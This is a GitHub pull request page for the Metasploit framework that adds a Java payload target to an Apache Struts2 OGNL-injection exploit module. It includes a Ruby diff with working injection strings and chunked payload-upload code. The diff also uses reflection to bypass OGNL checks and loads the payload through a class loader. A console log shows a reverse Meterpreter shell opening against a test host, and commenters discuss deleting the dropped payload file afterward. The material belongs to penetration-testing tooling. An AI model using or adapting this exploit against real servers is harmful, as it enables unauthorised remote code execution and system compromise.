Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP

Loading…

Add ARCH_JAVA support to struts_code_exec_exception_delegator #463

Merged
merged 1 commit into from

3 participants

@schierlm

It will chop the payload JAR file into chunks of 384 bytes, base64 encode them (resulting in 512 bytes each) and then use OGNL to append each chunk to a remote file via FileOutputStream. Then a new class loader is created, which is used to lookup and execute metasploit.Payload inside the jar. Increasing the chunk length worked well when testing with the struts hello world project, but better safe than sorry.

(Another possible approach to implement this would be to use a HTTP URL pointing back at the attacker instead of the file URL. This would avoid all the hassle with uploading the JAR file and avoid touching disk, but the exploited machine would have to be able to connect back to the attacker)

@jvazquez-r7
Collaborator
  • The on_new_session handler should be updated for the "Java" case but I can do it once commited :-)

  • It's working right here!!! nice work :)

msf > use exploit/multi/http/struts_code_exec_exception_delegator 
msf  exploit(struts_code_exec_exception_delegator) > set RHOST 192.168.1.133
RHOST => 192.168.1.133
msf  exploit(struts_code_exec_exception_delegator) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows Universal
   1   Linux Universal
   2   Java Universal


msf  exploit(struts_code_exec_exception_delegator) > set TARGET 2
TARGET => 2
msf  exploit(struts_code_exec_exception_delegator) > set TARGETURI /HelloWorldStruts2/hello?name=test&id=INJECT
TARGETURI => /HelloWorldStruts2/hello?name=test&id=INJECT
msf  exploit(struts_code_exec_exception_delegator) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.134:4444 
[*] Sending stage (30216 bytes) to 192.168.1.133
[*] Meterpreter session 1 opened (192.168.1.134:4444 -> 192.168.1.133:51817) at 2012-06-09 22:42:14 +0200
[*] Windows does not allow running executables to be deleted
[*] Delete the aJUr.jar file manually after migrating

meterpreter > getuid
Server username: juan
meterpreter > 
@jvazquez-r7
Collaborator

My new on_new_session handler:

def on_new_session(client)

    if client.type != "meterpreter"
        print_error("Please use a meterpreter payload in order to automatically cleanup.")
        print_error("The #{@payload_exe} file must be removed manually.")
        return
    end

    client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

    if client.sys.config.sysinfo["OS"] =~ /Windows/
        print_error("Windows does not allow running executables to be deleted")
        print_error("The #{@payload_exe} file must be removed manually after migrating")
        return
    end

    print_status("Deleting the #{@payload_exe} file")
    client.fs.file.rm(@payload_exe)

end
@schierlm

In case you want to try deleting the file for non-Meterpreter payloads, you could try to run new java.io.File('foo.jar').delete() or new java.io.File('foo.jar').deleteOnExit() - the first one should delete the file on Linux, the second one will schedule deletion after the exit of the VM (i. e. web server restart).

Note that in the (likely) case the webserver is not yet running Java 7, the VM will lock the jar file on Windows until VM exit, even if the class loader has been garbage collected already.

@jvazquez-r7
Collaborator

Thanks for pointing! :) I like using meterpreter to make post exploit tasks such as cleanup, but I'm going to wait the opinion of someone else :)

Really thanks for adding support for ARCH_JAVA :)

@wchen-r7
Collaborator

Looks good. I'm ok with either approach of cleaning it up as long as it works, although using the module callback feels cleaner (and consistent).

@jvazquez-r7 jvazquez-r7 merged commit a43cf76 into from
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
This page is out of date. Refresh to see the latest.
View
52 modules/exploits/multi/http/struts_code_exec_exception_delegator.rb
@@ -29,7 +29,8 @@ def initialize(info = {})
'Johannes Dahse', # Vulnerability discovery and PoC
'Andreas Nusser', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
- 'sinn3r' # Metasploit module
+ 'sinn3r', # Metasploit module
+ 'mihi' # ARCH_JAVA support
],
'License' => MSF_LICENSE,
'Version' => '$Revision: $',
@@ -40,7 +41,7 @@ def initialize(info = {})
[ 'EDB', '18329'],
[ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt']
],
- 'Platform' => [ 'win', 'linux'],
+ 'Platform' => [ 'win', 'linux', 'java'],
'Privileged' => true,
'Targets' =>
[
@@ -56,6 +57,12 @@ def initialize(info = {})
'Platform' => 'linux'
}
],
+ [ 'Java Universal',
+ {
+ 'Arch' => ARCH_JAVA,
+ 'Platform' => 'java'
+ },
+ ]
],
'DisclosureDate' => 'Jan 06 2012',
'DefaultTarget' => 0))
@@ -73,6 +80,7 @@ def execute_command(cmd, opts = {})
uri = String.new(datastore['TARGETURI'])
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'
+ uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,CMD,'')%2b'") if target['Platform'] == 'java'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
vprint_status("Attempting to execute: #{cmd}")
@@ -120,6 +128,44 @@ def linux_stager
@payload_exe = "/tmp/" + file
end
+ def java_upload_part(part, filename, append = 'false')
+ cmd = ""
+ cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
+ cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
+ cmd << "#f.close()"
+ execute_command(cmd)
+ end
+
+ def java_stager
+ @payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar"
+ append = 'false'
+ jar = payload.encoded_jar.pack
+
+ chunk_length = 384 # 512 bytes when base64 encoded
+
+ while(jar.length > chunk_length)
+ java_upload_part(jar[0, chunk_length], @payload_exe, append)
+ jar = jar[chunk_length, jar.length - chunk_length]
+ append='true'
+ end
+ java_upload_part(jar, @payload_exe, append)
+
+ cmd = ""
+ # disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
+ cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
+ cmd << "#q.setAccessible(true),#q.set(null,true),"
+ cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
+ cmd << "#q.setAccessible(true),#q.set(null,false),"
+ # create classloader
+ cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
+ # load class
+ cmd << "#c=#cl.loadClass('metasploit.Payload'),"
+ # invoke main method
+ cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
+ cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
+ execute_command(cmd)
+ end
+
def on_new_session(client)
if target['Platform'] == 'linux'
print_status("Deleting #{@payload_exe} payload file")
@@ -142,6 +188,8 @@ def exploit
linux_stager
when 'win'
windows_stager
+ when 'java'
+ java_stager
else
raise RuntimeError, 'Unsupported target platform!'
end
Something went wrong with that request. Please try again.